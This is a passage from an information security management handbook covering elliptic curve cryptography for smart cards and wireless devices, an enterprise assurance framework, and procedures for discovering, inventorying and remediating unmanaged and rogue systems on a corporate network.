needed to contain costs, reductions in transmission times are also needed to enhance usability.
Use of EEC in Smart Cards Elliptic curve cryptography is ideally suited for implementations in smart cards for a number of reasons: • Less memory and shorter transmission times — The strength (difficulty) of the elliptic curve discrete logarithm problem algorithm means that strong security is achievable with proportionately smaller key and certificate sizes. The smaller key size in turn means that less memory is required to store keys and certificates and that less data must be passed between the card and the application, so transmission times are shorter. • Scalability — As smart card applications require stronger and stronger security (with longer keys), ECC can continue to provide the security with proportionately fewer additional system resources. This means that with ECC smart cards are capable of providing higher levels of security without increasing their cost.
391
Elliptic Curve Cryptography
• No coprocessor — The reduced processing times of ECC also make it ideal for the smart card platform. Other public-key systems involve so much computation that a dedicated hardware device, known as a crypto coprocessor, is required. The crypto coprocessors not only take up precious space on the card, but they also increase the cost of the chip by about 20 to 30 percent, which translates to an increase of about $3 to $5 on the cost of each card. With ECC, the algorithm can be implemented in available ROM, so no additional hardware is required to perform strong, fast security functions. • On-card key generation — As mentioned earlier, the private key in a public key pair must be kept secret. To truly prevent a transaction from being refuted, the private key must be completely inaccessible to all parties except the entity to which it belongs. In applications using the other types of public key systems currently in use, cards are personalized (keys are either loaded or injected into the cards) in a secure environment to meet this requirement. Because of the complexity of the computation required, generating keys on the card is inefficient and typically impractical. With ECC, the time needed to generate a key pair is so short that even a device with the very limited computing power of a smart card can generate the key pair, provided a good random number generator is available. This means that the card personalization process can be streamlined for applications in which nonrepudiation is important.
Extending the Desktop to Wireless Devices Wireless consumers want access to many applications that previously have only been available from the desktop or wired world. In response to the growing demand for new wireless data services, Version 1.0 of the Wireless Application Protocol (WAP) provides secure Internet access and other advanced services to digital cellular phones and a variety of other digital wireless devices. The new specification enables manufacturers, network operators, content providers, and application developers to offer compatible products and secure services that work across different types of digital devices and networks. Wireless devices are not unlike smart cards in that they also introduce many security implementation challenges. The devices themselves must be small enough to have the portability that users demand. More importantly, the bandwidth must be substantially reduced. The WAP Forum, the organization that developed the WAP specification, has responded to these market and technology challenges by incorporating ECC into the WAP security layer (Wireless Transport Layer Security, or WTLS) specification. With ECC, the same type of sensitive Web-based electronic commerce applications (such as banking and stock trades) that are currently confined to the fixed, wired world can run securely on resource-constrained wireless devices. Strong and efficient security that requires minimal bandwidth, power consumption, and code space is uniquely achievable with ECC. ECC meets the stringent security requirements of the market by incorporating elliptic curve-based Diffie–Hellman key management and the elliptic curve digital signature algorithm (ECDSA) into a complete public-based security system. Table 31.1 and Table 31.2 compare the signature size and encrypted message size for each of the three cryptosystems discussed earlier. The reduced digital signature and encrypted message sizes result in huge savings of bandwidth, a critical resource in the wireless environment.
TABLE 31.1 Signature Size for a 2000-Bit Message System Type RSA DSA ECDSA
Signature Size (bits)
Key Size (bits)
1024 320 320
1024 1024 160
392
Information Security Management Handbook
TABLE 31.2 Size of Encrypted 100-Bit Message System Type
Encrypted Message (bits)
Key Size (bits)
RSA EIGamal ECES
1024 2048 321
1024 1024 160
Conclusions Three types of public-key cryptographic systems are available to developers and implementers today: integer factorization systems, discrete logarithm systems, and elliptic curve discrete logarithm systems. Each of these systems can provide confidentiality, authentication, data integrity, and nonrepudiation. Of the three public-key systems, ECC offers significant advantages that are all derived (directly or indirectly) from to its superior strength per bit. These efficiencies are especially advantageous in thin-client applications in which computational power, bandwidth, or storage space is limited. The advantages and resulting benefits of ECC for a wide range of applications are well recognized by many in the industry. ECC is being incorporated by a growing number of international standards organizations into general cryptographic standards such as IEEE and ANSI and is being considered for integration into vertical market standards for telecommunications, electronic commerce, and the Internet. Meanwhile, an increasing number of computing and communications manufacturers are building ECC technology into their products to secure a variety of applications for corporate enterprise, the financial community, government agencies, and end users alike. ECC technology has earned its reputation as a truly enabling technology by making many of these products and applications possible by providing viable security.
Domain 6 Security Architecture and Models
394
Information Security Management Handbook
This domain is comprised of the concepts, principles, structures, and standards used to design, implement, monitor, and secure operating systems, equipment, networks, applications, and those controls used to enforce various levels of confidentiality, integrity, and availability. Security architecture is simply a view of an overall system architecture from a security perspective. It provides some insight into the security services, mechanisms, technologies, and features that can be used to satisfy system security requirements. It provides recommendations on where, within the context of the overall system architecture, security safeguards should be placed. The security view of a system architecture focuses on system security services and high-level mechanisms, allocation of security-related functionality, and identified interdependencies among security-related components, services, and technologies. Building an information system requires a balance among various requirements, such as capability, flexibility, performance, ease of use, cost, business requirements, and security. Security should be considered a requirement from the beginning — it is simply another feature that must be included because it supports the business requirements. Attempting to retrofit the required and desired security controls after the fact can lead to user frustration, a lowered security posture, and significantly increased implementation costs. Based on the importance of each requirement, various trade-offs may be necessary during the design of a system. Thus, it is important to identify what security safeguards must be included based on the threats to the integrity, confidentiality, and availability of the data. Then, if a performance or flexibility requirement means downgrading or not including a recommended security control, the architects can keep the primary goals of the system in check and consider mitigating or compensating controls.
Access Control Systems and Methodology
395
Contents Section 6.1 Principles of Computer and Network Organizations, Architectures, and Designs 32 Enterprise Assurance: A Framework Explored ......................................................................... 397 Bonnie A. Goins
This page intentionally left blank
32 Enterprise Assurance: A Framework Explored Bonnie A. Goins
Introduction Your company has made a commitment to security. It’s good for your business, your customers, your staff, your data, and your systems. Senior management is fully on board; you have a budget and are encouraged to spend it. You have spent long days (and some nights) ensuring that your documentation is completed, your patches and configurations are up to date, and you have staff in sufficient number, with sufficient skill sets, to assist you in the effort. Ah, life is good. But, wait (there is always a catch)! Senior management and the Board want you to answer a question (your heart is pounding …): “How confident are you that our security needs have been met? Or, more simply put, how sure are you that everything you’ve done makes us secure? Can we have some assurance?” Gulp …
What Exactly Does “Assurance” Mean? According to the Merriam–Webster dictionary, assurance is “something that inspires, or tends to inspire, confidence.” In fact, confidence is given as a synonym for the word assurance. Merriam–Webster defines the word confidence as “the quality or state of being certain (i.e., certitude).” Okay, so now you have some idea of what the Board and senior management are asking. The question is, how does that relate to security? Douglas Landoll and Jeffrey Williams stated in their work, An Enterprise Assurance Framework, that “there are many definitions of assurance used in security; however, the central theme in these definitions is that assurance is the degree of confidence that security needs are satisfied.” To prove the point made earlier, the National Institute of Standards and Technology (NIST) has defined assurance as “grounds for confidence that a system design meets its requirements, or that its implementation satisfies specifications, or that some specific property is satisfied.”
How Much “Confidence” Is Enough? Regardless of the rigor used in applying security to an environment, it is not possible to secure an environment completely. Restated, threats, and therefore risks, will always exist in an environment. That said, the people operating within that environment must come to understand that there will always be some doubt, and that some flaw or risk will always exist in the environment. This notion is sometimes a hard sell to senior management, due mainly to the fact that many of the security activities practiced within an environment are intangible, while the financial implications of implementing security are not.
397
398
Information Security Management Handbook
A reasonable answer to this question of confidence aligns with the concept of risk. It is important for the security practitioner in the environment to determine, as quickly as possible, what tolerance for risk senior management demonstrates. Practitioners can assist themselves by educating senior management early that complete elimination of risk is not possible nor is complete elimination of doubt about the state of security within the environment. Talking candidly with the management chain can help practitioners determine what their level of “reasonable doubt” may be. When this exercise is completed, you can begin the arduous task of translating this information into criteria to be evaluated as part of the determination of “how much assurance is enough?” You many consider the value of critical business functions, the current state of security and technology within the organization, the cost associated with proper controls, the value of your data, technical and physical assets, and costs associated with an appropriate level of security surrounding each of them.
Giving “Confidence” a Form It would seem that at least there is a place to start, but how do you inspire confidence in your enterprise solution? The first step is to recognize that assurance must, as a matter of course, take into account multiple factors within the organization. Is security only provided for information systems or network infrastructure? I would hope not, because, if so, the most serious threat to a secure environment has been neglected — the people within the organization. Also, don’t most organizations provide security for their facilities? Before the advent of network intrusion detection, we had closed-circuit televisions and guard stations. Before we were duped by Trojans, worms, viruses, and logic bombs, we had mantraps, PINed, or proximity locks and electronic security methods. Physical security has been present for a very long time. The author is not aware of an organization (other than perhaps a virtual one or one so isolated that only the very strong can reach them) that does not employ physical security measures. So, facilities must also be considered. Assurance can be considered to be a global effort; that is, people, processes, technology, and facilities must all be addressed. In Landoll and Williams’ work, they include the following areas for review: people, procedures, environment, and automated information systems (AISs).
An Assurance Framework for the Enterprise In An Enterprise Assurance Framework, Landoll and Williams introduce a framework for assurance that is designed to be an aid to organizations looking to cut through the complexity of their enterprise security architectures and to produce a clean, clear framework that can answer the assurance questions asked previously in this chapter.
Assurance Components The authors point out five components that work together to structure what they call an assurance argument. As defined in their paper, an assurance argument is “a way of presenting evidence in a clear and convincing manner.” Essentially, an assurance argument is a sensible representation of information and analysis (i.e., evidence) that is used to determine whether the organization’s assurance expectations are met. To see how this works we will use our original categories of people, process, facilities, and technology. To put them together in Landoll and Williams’ framework, we will place facilities into the “environment” category and technology into “AIS.” AIS can be broken down into deliverables (products); the organization’s infrastructure, ranging from the network to end-user platforms; configurations for the architecture; development personnel; and the processes for each, as well as the development environment itself. In constructing the AIS assurance argument, all of these aspects must be considered. According to Landoll and Williams, the five elements that an organization can use to structure its assurance arguments are (1) assurance need, (2) claims, (3) evidence, (4) reasoning, and (5) an assumption
Enterprise Assurance: A Framework Explored
399
zone. Assurance need represents the organization’s confidence expectation. Claims represent statements that something has a particular property. Evidence is observable data that is used within the organization to make judgments or decisions. Reasoning represents statements that tie evidence together to establish a claim. The assumption zone represents the point at which claims made by the organization can no longer be supported by evidence. Assurance Needs Assurance needs extend throughout the organization and are the expression of confidence in all the parts of the enterprise. These needs should be detailed enough to represent all of the things that the organization is concerned about (the breadth of the need). Activities that help focus an organization’s concerns include business impact assessment (i.e., determination of assets), determination of business goals as aligned with the organization’s strategic goals (its vision and mission), and risk, vulnerability, and security assessments of the organization’s people, processes, data, facilities, and technology using both technical (tool-based) and nontechnical (frameworks such as NIST SP 800:30) (risk) analyses, the National Security Agency Information Assurance Methodology, ISO 17799/BS7799, and the OCTAVE framework (security) means, in order to determine threats, vulnerabilities, and countermeasures. According to Landoll and Williams, assurance needs are typically characterized in an environment as policies. The assurance need also must reflect the level of confidence that the organization maintains in a particular countermeasure, as it relates to the ability of the countermeasure to protect against threat (the depth of the need). To determine the appropriate depth, the organization must prioritize its risks and establish what level of validation will be required to measure the success of the countermeasure. Claims To properly analyze assurance, we must look to appropriate security properties. Examples of security properties, as provided in An Enterprise Assurance Framework, include: • Properties that are capable of being validated, such as structure, complexity, and modularity. This is the property of being analyzable. An example could include a software package (i.e., complexity, modularity). • Properties possessing desired or required skills. This is the property of being capable. An example could include a sufficiently skilled human resource within the enterprise. • Properties that are without defect, based on a particular higher level specification. This is the property of being correct. An example could include validated data input. • Properties that can be utilized, implemented, managed, and maintained easily. This is the property of being easy to use. An example could include an appropriately designed human interface for intrusion detection or other security tools. • Properties that create a minimum of waste. This is the property of being efficient. An example could include a streamlined process within the enterprise. • Properties that demonstrate a task or activity that has been repeated. This is the property of being experienced. An example could include a highly experienced, long-term human resource within the enterprise. • Properties that possess essential information. This is the property of being knowledgeable. See the example for the experienced property. • Properties that can be reproduced. This is the repeatable property. An example of this could include an appropriate calculation, conducted millions of times, by an automated information system (AIS). • Properties that can be defended, that are difficult to break or are resistant to attacks. This is the property of being strong. An example of this could include a properly secured enterprise architecture. • Properties of confidence that promote the character (truth) of a person. This is the trustworthy property. An example could include an ethical professional or a lifelong friend.
400
Information Security Management Handbook
Evidence Evidence can be defined as anything that can assist in validating a claim. Examples of evidence include deliverables or documentation, assessment reports (such as risk or vulnerability assessments, SAS 70s), corroborated interviews, and so on. Evidence can be aggregated if doing so makes its digestion easier (as long as the aggregation can still be validated). Evidence, like claims, has properties, including correctness, analyzability, and completeness. In fact, as Landoll and Williams point out, claims about evidence can be supported by collection and presentation of additional evidence. This evidence is called circumstantial and can contribute to the believability of a claim, even though it is not directly related to other evidence for the claim. It is important to note that the relationship between claims and evidence is not one to one. A single piece of evidence may have many properties and support many claims. A good example of this is an assessment or audit deliverable, such as a SAS 70, risk assessment, or vulnerability analysis. A large amount of evidence does not necessarily validate claims. In order to do so, the evidence must be compelling. This is also true of complex systems or environments, where many pieces of evidence must be placed together to create a validation of the entire system or environment. This is fourth category of assurance, known as reasoning. The Assumption Zone Remember what was stated earlier in this chapter — that there is no such thing as perfect security? Remember also that a discussion ensued that stated that senior management could report the point at which they felt comfortable they could accept this “doubt.” The “Assumption Zone” is that threshold where the assurance claims are presented, with evidence minimal or absent, with the outcome being that the claims are still accepted by the organization. Examples include elements that do not have direct or significant impact on the security of the organization. This could include documentation surrounding non-critical functions or personnel.
Enterprise Assurance, through the Security Practitioner’s Eyes Now that we have reviewed the assurance components, we must now translate them into security terms. Imagine that we represent a healthcare provider that has determined it has the following security needs: • Critical business functions must be available 24/7, 365 days per year. • Electronic protected health information (ePHI) must carry the maximum protection to achieve compliance and prevent unauthorized disclosure. • Data assets must be catalogued and reviewed periodically to ensure data integrity. • All compliance objectives within the Health Insurance Portability and Accountability Act (HIPAA) security rule must be met with at least the minimum necessary protection. As stated, these security needs could be detailed in a corporate or compliance security policy, along with the requisite procedures. It is important that these deliverables also include measurable expectations (i.e., depth). According to Landoll and Williams, the properties most relevant to security include analyzability, correctness, completeness, and strength. These four properties translate to the enterprise as follows: • The property of analyzability indicates that complexity is properly managed within the enterprise. • The property of correctness indicates that all functions within the enterprise perform correctly as advertised. • The property of completeness attests to the enterprise completing its due diligence by identifying all known threats (that is, those that can be found) and ensuring that policies and procedures are created, implemented, maintained, monitored, and enforced for the expressed purpose of mitigating, transferring, or accepting risk. • The property of strength indicates the enterprise’s ability to stave off, or minimize the impact from, an attack.
Enterprise Assurance: A Framework Explored
401
Now, it is essential for the enterprise to gather and present its evidence to support its assurance claims. Evidence that applies to the entire enterprise is preferred to evidence that relates only to a subset of the enterprise. Appropriate evidence can include the following: • Information security documentation, such as a corporate security program, business continuity plan, security incident response plan, or corporate security policies and procedures • Corporate strategic documentation, such as the business plan or information technology or security strategy documents • Risk, vulnerability, or security assessments • Audits • Interview results • Satisfaction surveys • Metrics (such as service levels) • Contractual agreements In our example of the healthcare provider, collected evidence could include: • • • • • • • • • • • •
Business associate agreements Information about service levels, both internal and external Mandatory HIPAA risk assessment (with appropriate findings generalized to the entire organization) Vulnerability scanning results Penetration testing results Patching and configuration management plans Security incident response plan, including the tracking of occurrences and their reporting Business continuity plan HIPAA policies and procedures, utilized throughout the organization Staff security awareness training results Compliance walkthroughs Internal audits
The provision of supporting, or circumstantial, evidence can also support assurance claims made by the organization. Such claims can include the property of trustworthiness or effectiveness. For example, trustworthy and effective people may have a lesser chance of creating security issues for the enterprise. Processes that include intrusion detection, access control activities, logging and monitoring, appropriate media handling, protection against malware, and others augment enterprise protection, lessening the exposure of the environment to vulnerability, particularly if the processes are easy to use and correct. Strong environments can protect the enterprise from many vulnerabilities, including unauthorized access, terrorism, or a catastrophic event that threatens business continuance, such as a weather emergency. The strong environments do so through appropriately designed facilities (blueprints), physical access controls, and biometric devices, among others. Analyzable, complete, correct, strong, and easy-to-use systems can reduce inadvertent errors that introduce risk or can thwart an attack from a malicious outsider. When the enterprise has collated its evidence, the hard work begins of evaluating whether the security mechanisms in place meet the stated enterprise assurance needs. To perform this reasoning, claims, evidence, and supporting (circumstantial) evidence are tied together and linked to the appropriate assurance argument. This process should be repeated for all identified assurance needs. To revisit the question of “How much is enough?” we will now apply it to the evidence we have gathered. No security analog for rating the amount of evidence collected exists, but a legal analog does. This analog was used by Landoll and Williams in the construction of their enterprise framework. These standards include: • Evidence beyond a reasonable doubt — In this standard, evidence cannot be rejected by a reasonable person. • Clear and convincing evidence — In this standard, evidence is presented that a reasonable person could believe.
402
Information Security Management Handbook
• Preponderance of evidence — In this standard, more evidence exists for than against. • Substantial evidence — In this standard, a significant amount of evidence exists and is available for review. It is apparent that the issue with these standards is that no terms have been defined, so it leaves them open to interpretation; that is, what is reasonable and what is significant? As metrics in the area of assurance mature, it is likely that more quantifiable standards will be introduced.
Conclusion It takes a great deal of effort and diligence for an organization to come to an assurance judgment. Inspecting security implementations in a vacuum, piece by piece, will not guarantee that an enterprise is appropriately secured. Every part of the enterprise must be examined before a judgment can be made about the state of security. After proper evaluation and measurement, and with a little luck, you can go back to the senior management and the Board and emphatically state, “I am confident that we are on the right track!”
References Carnegie Mellon University, Software Engineering Institute, SSE-CMM, www.sei.cmu.edu/publications. Ferraiolo, K., L. Gallagher, and V. Thompson. 1998. Building a Case for Assurance from Process. Vienna, VA: Arca Systems. Landoll, D. J. and J. R. Williams. 1995. A Framework for Reasoning About Assurance. Washington, D.C.: National Institute of Standards and Technology (www.nist.gov). Landoll, D. J. and J. R. Williams. 1998. An Enterprise Assurance Framework. Vienna, VA: Arca Systems. National Security Agency Information Assurance Methodology (NSA IAM), www.nsa.gov. Perrone, P. J. 2000. Practical Enterprise Assurance. Crozet, VA: Assured Technologies. Zehetner, A. 2003. Creating Enterprise Assurance. Mawson Lakes, South Australia: Electronic Warfare Associates.
Domain 7 Operations Security
404
Information Security Management Handbook
Operations security is used to identify the controls over hardware, media, and the operators with access privileges to any of these resources. Operations security involves the administrative management of all types of information processing operations, the concepts of security for centralized as well as decentralized environments, the various choices for operations controls, resource protection requirements, auditing operations, monitoring, and intrusion detection and prevention.
Access Control Systems and Methodology
405
Contents Section 7.1
Operations Controls
33 Managing Unmanaged Systems ................................................................................................. 407 Bill Stackpole and Man Nguyen
Section 7.2
Resource Protection Requirements
34 Understanding Service Level Agreements ................................................................................. 423 Gilbert Held
This page intentionally left blank
33 Managing Unmanaged Systems Bill Stackpole and Man Nguyen Do you know what is connected to your LAN? Self-propagating worms such as Slammer and MSBlaster make the presence of unmanaged or rogue systems a major security threat. Many organizations hit by Slammer and Blaster were infected by external systems that were brought in and attached to their internal network, and the intensity of the attack was amplified by unmanaged (and unpatched) systems on internal local area networks (LANs). This chapter provides guidance for operations, support, and security personnel on how to managing common types of unmanaged systems, including systems that are known to the organization and those that are not. The text assumes the reader already has a standard process (and associated technology) for managing the majority of their systems and is looking for guidance with systems that are not or cannot be subject to the standard process. This chapter is a collection of both process and technology practices from the authors’ experiences and is, to the best extent possible, vendor and industry neutral. Where do unmanaged or rogue systems come from? Vendors and contractors are a common source. They are often allowed to attach their laptops to company LANs for product demonstrations, testing, and project work. A second source is company developers and engineers, who often build systems for testing and prototyping purposes outside the standard build and patch processes. Another common source is third-party products or systems with an embedded operating system (OS). Other sources include home PCs used for virtual private network (VPN) access and personally owned portable systems (i.e., laptops) that get infected outside the organization and are brought in and connected to the corporate LAN. Unmanaged systems fall into two basic categories. First are the systems that operations and support are aware of but do not actively manage. Examples of these systems include lab, development, and test devices; systems owned or managed by third parties; and special-purpose (i.e., one-off) machines. Oneoff systems are often too critical to endure automated management procedures; examples include medical devices, broadcast video systems, and machine controllers. The second type of unmanaged machines is systems attached to the network that are unknown to the operations or support group. This chapter refers to these systems as rogue devices. Examples of rogue systems include non-company-owned systems (e.g., vendor or contractor laptops), non-domain-joined systems built for temporary or test purposes and possibly external systems attaching to an unsecured wireless access point. Rogue systems are particularly troublesome because they are not part of a standard build or patch rotation; consequently, they are usually missing key security updates making them subject to compromise. A network with unmanaged systems represents an uncontrolled environment with significant security risks. Unmanaged systems and particularly rogue systems usually do not comply with company security policies and standards and consequently are ripe for compromise. When compromised, they can be used
407
408
Information Security Management Handbook
as a launching point for additional internal or external attacks. Rogue systems, especially portable ones, can easily introduce worms and viruses from a previous infection onto the internal network. Security breaches not only are expensive to recover from but may also include regulatory fines or other downstream liabilities. It simply is not possible to secure (or manage) systems that the operations and support groups are not aware of, so along with better compliance the next biggest advantage to actively managing unmanaged systems is greater visibility into the actual environment being managed. Another advantage is a reduction in network attack surface from rogue systems being detected and remediated. This is equally true when other unmanaged systems are monitored to ensure they are compliant with security policies, standards, and procedures. A smaller attack surface, in turn, reduces the impact of virus and worm outbreaks by keeping potential targets (i.e., unpatched systems) to a minimum. Finally, the process helps keep essential management and inventory data up to date on these systems.
System Management Essentials Before going into management specifics for unmanaged systems we will cover some of the foundational elements involved in system management. These are the common elements necessary for the operation and support of managed as well as unmanaged systems.
Policies, Standards, and Procedures First, it is necessary to have a good set of policies, standards, and procedures governing system management processes. These include naming conventions, classification standards, patching/update timelines, and auditing requirements. It is not possible to have an effective system management process unless the personnel involved have a clear understanding of what is required of them and the timelines they have to accomplish the work. While policies and procedures are outside the scope of this chapter, the importance of having well-defined system management requirements, roles, and responsibilities cannot be overemphasized. Do not leave this essential element out of the system management strategy.
Asset Determination The second essential element is asset determination. As mentioned above, it is not possible to manage what you do not know about or, perhaps more accurately, what you do not know enough about to determine the management or security requirements of the device. A complete and accurate inventory of the devices attached to the network is the most essential element of system management after policies, standards, and procedures. Most organizations have some type of asset inventory system, and several system management tools have hardware and software inventory capabilities but these systems may not cover all the devices connected to the network. Building an accurate asset inventory requires discovery, inventory, and classification. Discovery is a proactive process intended to find all the active devices connected to the network and to gather some of the information necessary to manage that device. Discovery methods are discussed in more detail later in this chapter. When a system has been discovered it can be entered into inventory. The inventory operation captures the key system attributes required for proper operations and support and stores them to an inventory database. The database is sometimes referred to as the configuration management database (CMDB) because it contains key system configuration elements such as manufacture, model, OS version, and installed applications. But, it also contains other pieces of information necessary for security and maintenance operations, including the criticality of the system, its location and ownership contacts. Table 33.1 shows the basic CMDB data elements. These are considered the minimum elements; other device attributes may have to be captured to meet the specific organizational requirements. If an information technology (IT) inventory system is already in place, it probably contains several of these data elements. Rather than duplicate the existing data, it may be easier to modify the inventory database
409
Managing Unmanaged Systems
TABLE 33.1 Example of Data Elements for Configuration Database Data Field SystemID SystemName NetworkAddress NICAddress OSVersion SystemType Role/Application AppVersion CriticalityClass ExemptFlag Owner/Contact Location LastUpdateTime LastUpdateID
Description
Type
Size
Sequentially generated system identifier Unique device name System TCP/IP address Media access control (MAC) address of network interface card Type of operating system and major and minor version numbers System classification (e.g., desktop, laptop, server) Primary usage (e.g., file and print, Web, SQL, DC) Name and version of primary application High, medium, or low rating of system criticality Exempt from standard operations flag Primary user, system owner/administrator, or support group Physical location of device Last date and time the record was updated UserID of person who last updated the record
schema or link the two databases to cover all the required data elements. The SystemID is the record key. It is generated when the system record is created and is used to associate this system with other data records. This allows the system name to be changed without losing these associations. SystemName, NetworkAddress, and NICAddress are the primary system identifiers. OSVersion, SystemType, Role/ Application, AppVersion, and CriticalityClass are used to determine system baselines. The ExemptFlag is used to designate systems that are not subject to standard operations and support procedures (i.e., unmanaged systems). Owner/Contact and Location are used for remediation, and the LastUpdate elements are used to track discovery, monitoring, and other record updates. One of the key things to consider when building an IT inventory is the database management system (DBMS) itself. The DBMS should have good reporting capabilities and integrate well with the other system management tools. Structure Query Language (SQL)-based systems with store procedure capabilities are best. Another key thing to consider is inventory maintenance, keeping the inventory up to date. Automated tools are great for this, but procedures should also be in place that hook the system build and support functions so inventory records are updated when systems are built, rebuilt, or retired. Classifying system criticality is the final asset determination activity. Understanding the criticality of the system to the business is crucial to proper system management especially in large environments. It provides for the proper prioritization and scheduling of security and maintenance tasks, as well as the establishment of appropriate timelines for their completion. For example, the timeline between a patch release and its installation will be shorter for higher criticality systems. System criticality can be based on a number of risk factors, including the susceptibility of the system to attack, impact to business operations, and potential financial liabilities. High, medium, and low are the criticality classifications used in this chapter.
Baseline Determination The third element is baseline determination. A baseline is the minimum acceptable configuration for a system. It is not possible to determine the compliance level or remediation requirements of systems without first understanding the baseline requirements. Common sources for baseline requirements include system build and hardening standards, security policies and standards, and industry and vendor best practices, as well as experience (i.e., recurring issues the organization has had to deal with). Some baselines are common to all systems (e.g., password requirements), and others are specific to the system type or role or the applications it runs. For example, a Web server would have Apache- or IIS-specific baselines in addition to the common baselines. Table 33.2 is an example of some common system baselines. Baselines establish the metrics necessary for monitoring systems for compliance with established requirements and determining what remediation actions should be taken.
410
Information Security Management Handbook
TABLE 33.2 Example of Common System Baselines Category Operating system Antivirus Domain Policy File System Accounts Services Protocols Software Updates Processes
Description Operating system is an approved version. Antivirus is installed, active, and up to date. System is joined to the domain. Local and domain policies are set properly. File, directory, and share access control lists (ACLs) and audit settings are correct. Required accounts and groups are present. Accounts are configured properly. Required services are installed and operational. Prohibited services are not installed. Required network protocols are installed. Prohibited protocols are not installed. Required software is installed and configured properly. Prohibited software is not installed. All critical and high risk patches are installed. Prohibited processes are not running.
Discovery, Monitoring, and Reporting Infrastructure An effective and efficient system discovery, monitoring, and reporting capability is essential to good system management. It is considered infrastructure because it encompasses and impacts the entire corporate network; therefore, it must be carefully planned to ensure proper coverage, performance, and integration. A good network segmentation scheme can substantially aid system discovery and monitoring; for example, a network that assigns end-user systems to specific segments reduces the number of segments that must be monitored. Systems with guest network segments facilitate quarantine and system remediation. A network with dedicated management segments helps ensure the reliable delivery of system alerts and notifications. Other elements, such as directory services, can also enhance monitoring by allowing systems with common attributes to be grouped together so scans can be targeted to system-specific requirements. Coverage incorporates the ability to work across the entire network and all the targeted devices. For example, the ability to discover or monitor systems should not be hampered by network controls (e.g., routers, firewalls, switches), hardware type, OS versions, etc. Performance includes the efficient use of network bandwidth, effective turn-around times, and accuracy. Discovery tools must be able to work efficiently across the entire network and gather at a minimum the system name, operating system, and MAC and IP addresses. This is equally true for monitoring techniques; they must be able to efficiently and accurately measure the baseline compliance of all targeted systems. Remote monitoring tools come in two varieties: • Agent-based tools — Tools that install software on the system to gather baseline information and report it to a central console (e.g., Symantec ESM). • Read-only tools — Tools that do not install software on the system but use remote system calls instead to gather and report baseline information (e.g., Pedestal’s Security Expressions). Finally, discovery and monitoring tasks must be completed within a reasonable timeframe to be effective. For example, desktop systems must be scanned at least once during normal working hours or they will likely be powered off. A monitoring or discovery infrastructure that cannot sweep the network within this timeframe will not work effectively for desktop systems. In large environments and on networks with low bandwidth links, agent-based tools and tools using distributed scanning devices usually prove to be more effective.
Managing Unmanaged Systems
411
It is often necessary to deploy multiple tools to achieve the discovery and monitoring coverage required so integration becomes a major factor. Ideally, the outputs for these processes should have a common format so they can be easily written to a common database for consolidation and reporting purposes; examples include tools that write comma delimited files or use Open Database Connectivity (ODBC). For tools that use proprietary formats the stored procedure capabilities of the DBMS can be used to filter and import results. Accurate reporting is the principle purpose for collecting and consolidating discovery and monitoring data. For example, discovery data can be compared to existing inventory data to report on new (rogue) devices or devices that have been renamed since the last inventory (same MAC address, different system name). Monitoring data can be used to report on overall compliance to specific baselines (e.g., critical patch compliance) or to report systems that require remediation (i.e., noncompliant systems). Ideally, the reporting system should provide for predefines (canned) reports as well as ad hoc queries.
Remediation Infrastructure The final element of good system management is remediation. Good discovery and monitoring capabilities are meaningless if system risks cannot be remediated in an effective and timely manner. Having a good remediation strategy is essential to successful system management. Remediation is usually a combination of manual and automated processes. For example, when a system is first discovered someone will have to determine what type of device it is, what role or application it has, who owns the device, etc. When the basic CDBM information is known, the system can be subject to automated management processes such as software updates, patch deployments, and policy settings. One key point to remember is that manual remediation is the most time-consuming and costly way to update systems. Manual remediation procedures should always be in place (these are necessary for one-off systems), but every effort should be made to automate as much of the remediation process as possible. A large number of remediation tools is available (some are covered later in the chapter). When selecting a tool consider how versatile the tool is, how well it covers the target devices, and how well it integrates with the configuration management database. Remember that this is an infrastructure tool (it encompasses the entire network), so network performance and impact must also be considered. It is unlikely that any one tool is going to cover all the required remediation tasks, but choosing a versatile tool that covers multiple system management functions helps reduce integration headaches. For example, tools such as SMS, Alteris, and Tivoli combine inventory, discovery, and software distribution and update capabilities into a single tool using a single database. Having a primary and secondary remediation capability is also a smart idea. Automated tools such as SMS and Alteris rely on system agents to perform system management tasks; if the agent was not installed or becomes disabled, remediation will fail. Having a secondary methodology such as an Active Directory software installation Group Policy Object (GPO) or log-in script process catches these systems and reduces the number of systems that must be remediated manually.
Known Unmanaged System Procedures Known unmanaged systems are systems that are tracked in the configuration management database but for one reason or another are exempt from standard operations and support procedures. Examples of known unmanaged systems include: • Third-party production systems such as Voice over IP (VoIP) servers, voicemail systems, etc. that are not maintained by the operations team • Lab, development, staging, and other non-production test systems • One-off systems such as production controls, medical devices, broadcast video systems, etc.
412
Information Security Management Handbook
Known unmanaged systems are usually added to the CMDB as part of the build process. Systems may also be added as part of an automated system management process — for example, when they are joined to the domain or added to the directory service. Often these systems do not have standard system management or monitoring software installed because they are located on network segments with restricted access (e.g., lab or demilitarized zone [DMZ]), the agents are not compatible with installed applications, or the management or monitoring agents adversely impact system performance. In these instances, a manual registration process must be used. Although known but unmanaged systems do not follow standard management procedures, they are not exempt from baseline requirements. Instead, special procedures must be developed to ensure that these systems remain compliant.
Dealing with Third-Party Systems Third-party system configuration and maintenance are typically controlled by contract so it is important that third-party contracts include baseline compliance requirements and timelines. When this is not possible, third-party systems must be subject to other controls to remediate noncompliance risks; for example, they may have to be firewalled or placed on segments that are isolated from other internal resources. Whenever possible, provisions for monitoring and reporting compliance should also be included. For example, contracts should require third-party systems to install monitoring agents or provide the credentials necessary for read-only monitoring. This provision provides a way to monitor not only baseline compliance but also contract service level agreement (SLA) compliance. When remote monitoring is not possible, then contracts should clearly spell out compliance reporting requirements and timelines for third-party personnel.
Dealing with Non-Production Systems Lab, development, and other test systems are not critical to the business operations, but they cannot be overlooked or neglected. Non-production systems are subject to frequent OS, configuration, or software changes and often have limited access (e.g., not domain joined, attached to isolated segments). Despite these challenges, provisions still must be made to ensure that these systems meet baseline requirements and can be monitored for compliance. Non-production systems should be, at a minimum, subject to all security baselines; other baselines can be kept to a minimum. Build procedures should include the installation of required security software, updates, and settings (e.g., anti-virus, patches, password complexity) as well as monitoring agents or the accounts or credentials necessary for read-only monitoring. Because the onus for compliance is on the system owners, it is importance to have clearly defined requirements and expectations as well as a good communications plan. Owners must understand exactly what is required of them and the timeframes for completing the work. The communication of new compliance requirements (e.g., a new security patch) must be effective and timely. It is best to have multiple system contacts for known unmanaged systems so new baseline requirements and remediation actions can be escalated if necessary. Because these systems are subject to frequent changes, they should be closely monitored. This may require some special firewall or router configurations when these systems are located on isolated segments. When remote monitoring is not possible, then policies and procedures must clearly spell out compliance reporting requirements and timelines for system support personnel.
